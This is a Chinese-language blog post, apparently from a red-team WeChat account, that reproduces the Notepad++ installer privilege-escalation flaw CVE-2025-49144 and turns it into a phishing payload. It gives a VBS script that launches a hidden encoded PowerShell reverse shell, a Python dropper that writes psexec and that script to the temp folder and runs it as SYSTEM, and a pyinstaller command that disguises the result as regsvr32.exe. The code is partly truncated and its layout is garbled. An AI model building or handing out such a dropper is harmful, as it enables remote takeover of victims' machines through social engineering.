[CVE-2025-49144] 超详细复现notepad++提权漏洞

上一篇文章中简述了 notepad++ 的提权漏洞CVE-2025-49144，有师傅复现的时候遇到点疑问，这里详细写一个钓鱼并提权到 system 的复现过程

前情提要和逆向分析

图标是 pyinstaller 打包的默认图标，那他源码是 python 写的，PY的反编译很简单，花了一点点时间🤏逆向出源码如下

1. 1. 有一段很大的 base64，他是一个反弹shell的 exe 文件编码后的
2. 2. 脚本检测了当前用户的temp目录下是否存在
   shell.exe
   文件
3. 3. 运行 exe 进行反弹 shell

因此整体思路就明了了

• • 1️⃣运行notepad++安装程序
• • 2️⃣由于8.8.1版本的漏洞，导致加载了同目录下的
  regsvr32.exe
  文件
• • 3️⃣
  regsvr32.exe
  释放 psexec 和木文件
• • 4️⃣psexec获取system会话，并使用system会话拉起木马文件
• • 5️⃣最终木马以system权限运行起来

原作者在github发布的漏洞文章，却引导读者去网盘下载POC，运行后隐藏到临时目录，并且现在也删除了原文和网盘，有点微妙🤔

不过对于我们红队钓鱼来说确实是一个不错的范本，下面开始我的正式复现

详细复现

准备好木🐎文件

反弹命令添加到如下vbs脚本中，这样处理运行时可以隐藏黑色命令行窗口

Set WshShell = CreateObject("
            WScript.Shell")
          
            WshShell.Run
           "powershell -e JABjAGwAa......ADpAA==", 0

base64 编码

修改 EXP

然后把这两段base64复制到如下python脚本中的两个变量中

import base64import osimport tempfileimport subprocessimport sys# base64编码后的exe文件psexec_base64 = "TVqQAA/+lDlzEJgLTf......G74JycgAA"revshell_base64 = "U2V0IFdzaFNoZWxs......iLCAw"defprint_banner():print("""    ┌──────────────────────────────────────┐    │       微信公众号 · 红队安全圈           │    └──────────────────────────────────────┘    """)# 执行命令，禁止出现黑色弹窗defrun_hidden(command):if 
            sys.platform
           == 'win32':'''        由于安全原因，请在公众号后台回复 CVE-2025-49144 获取完整python脚本        '''else:        
            subprocess.run(command,
           shell=False)# 解码并输出到用户temp目录defrestore_exe(exe_base64,outname):    temp_dir = 
            tempfile.gettempdir()
              exe_path = 
            os.path.join(temp_dir,
           outname)try:        exe_data = 
            base64.b64decode(exe_base64)
          withopen(exe_path, 'wb') as f:            
            f.write(exe_data)
          #print(f"restore file to: {
            os.path.abspath(exe_path)}")
          returnTrueexcept Exception as e:#print(f"restore error: {e}")returnFalseif __name__ == '__main__':# 将base64编码的exe文件还原并释放到tmep    restore_exe(psexec_base64,outname='
            psexec.exe'
          )    restore_exe(revshell_base64,outname='
            revshell.vbs'
          )# psexec 调起 system 权限的 wscript 执行 vbs 脚本    run_hidden([        
            os.path.join(tempfile.gettempdir(),
           '
            psexec.exe'
          ),'-i', '-s', '-d','
            wscript.exe'
          ,        
            os.path.join(tempfile.gettempdir(),
           '
            revshell.vbs'
          ),'-accepteula'    ])

打包成 exe

最后把python脚本打包，并命名为
regsvr32.exe，记得要加上**-w**参数隐藏控制台

pyinstaller -F 
            1.py
           -w -n 
            regsvr32.exe
          

社工钓鱼上线 system